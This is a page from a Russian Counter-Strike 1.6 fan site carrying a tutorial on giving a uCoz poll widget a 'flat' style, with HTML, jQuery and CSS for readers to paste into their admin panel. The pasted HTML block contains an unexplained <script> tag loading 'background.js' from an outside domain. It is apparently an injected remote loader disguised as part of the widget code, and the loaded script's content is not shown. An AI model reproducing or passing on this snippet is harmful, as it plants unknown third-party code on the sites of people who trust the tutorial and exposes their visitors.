Главная | Регистрация | ВходПриветствую Вас Гость | RSS
Меню сайта
Главная страница
Форум
Установка файлов
Наши cw
Состав клана
Продажа Steam
Партнёры
Counter Strike 1.6
Скачать Counter-Strike 1.6
Патчи для CS 1.6
Модели оружия для CS 1.6
Модели игроков для CS 1.6
Боты для CS 1.6
Спрайты для CS 1.6
Программы для CS 1.6
Выстрелы для CS 1.6
Античиты для CS 1.6
Взрывы для CS 1.6
Waypoint'ы для CS 1.6
Winamps для CS.1.6
Карты для CS 1.6
Радары для CS 1.6
Готовые сервера CS 1.6
Плагины для сервера CS
Темы меню для CS 1.6
Снайперские прицелы
Иконки Радио для CS 1.6
Мастерская
Создаём видео
Записываем HLTV
HLTV Proxy на STEAM
Делаем из демки мувик
Делаем мув на Sony Vegas
Разное
Делаем цветное лого
Делаем модель игрока
Делаем фон меню cs
Делаем фон консоли cs
Делаем прицел(zoom)
Делаем Waypoint'ы
Создание сервера
Создаём свой сервер
Настройка AMX MOD
Русификация AMX MOD
Что нужно для сервера?
Снижаем лаги сервера
Все статьи о серверах
CS Art
Шрифты на тему CS
Иконки на тему CS
Музыка на тему CS
Аватарки на тему CS
Картинки на тему CS
Projects our site
Скачать Counter-Strike 1.6
Наши CS Сборки
Скачать Counter-Strike 1.6
Поиск по сайту
Главная » 2013 » Июнь » 29 » Вид опроса для uCoz, в стиле flat
Вид опроса для uCoz, в стиле flat
19:41
Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле..

Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля

удаляем старый html код и устанавливаем новый:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">  
  var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"];  
  $('.answer div div').each(function(i){  
  if(!color_poll[i]){color_poll[i] = '#F8F8F8';}  
  $(this).css({background:color_poll[i++]});  
  });  
</script>


Теперь нам осталось прописать css стили:

Код
/* Вид опроса для uCoz, в стили flat
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#666;  
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;  
  text-align:left;
}

.answer{
  float:left;
  width:100%;
  color:#f8f8f8;
  position:relative;
  height:20px!important;
  padding: 2px 0px 2px 0px;  
  margin: 0px 0px 7px 0px;  
  background: #f8f8f8;
}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.answer div{
  height:20px!important;
  padding: 2px 0px 2px 0px;  
  position:absolute;
  z-index:998;
  top:0px;
  left:0px;
  width:100%;
}  
   
.answer span{
  float:right;
  height:14px!important;
  margin-right: 2px;  
  padding: 2px 5px 2px 5px;  
  color:#666;  
  position:relative;
  top:1px;
  left:0px;
  z-index:999;
  background: #fff;

}  

.pollBut{
  cursor:pointer;
  border:none!important;  
  margin-top:10px;
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;
   
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}


Вот и всё, наш вид опроса для системы uCoz в стиле flat готова.

На этом всё спасибо за внимание!
Просмотров: 434 | Добавил: greenpis | Рейтинг: 0.0/0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Кабинет

Гость !


Время
Друзья сайта
Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0


» Зарег. на сайте
Всего: 31708
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
» Из них
Админы сайтa: 4
Модераторов: 0
Проверенных: 0
Обычных юзеров: 31704
» Из них
Парней: 31704
Девушек: 4
Помощь сайту
Наш баннер
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:
всё для conter straik cs-strike.ua
Наш опрос
ЗА кого вы чаще всего играете???
Всего ответов: 35
Copyright MyCorp © 2024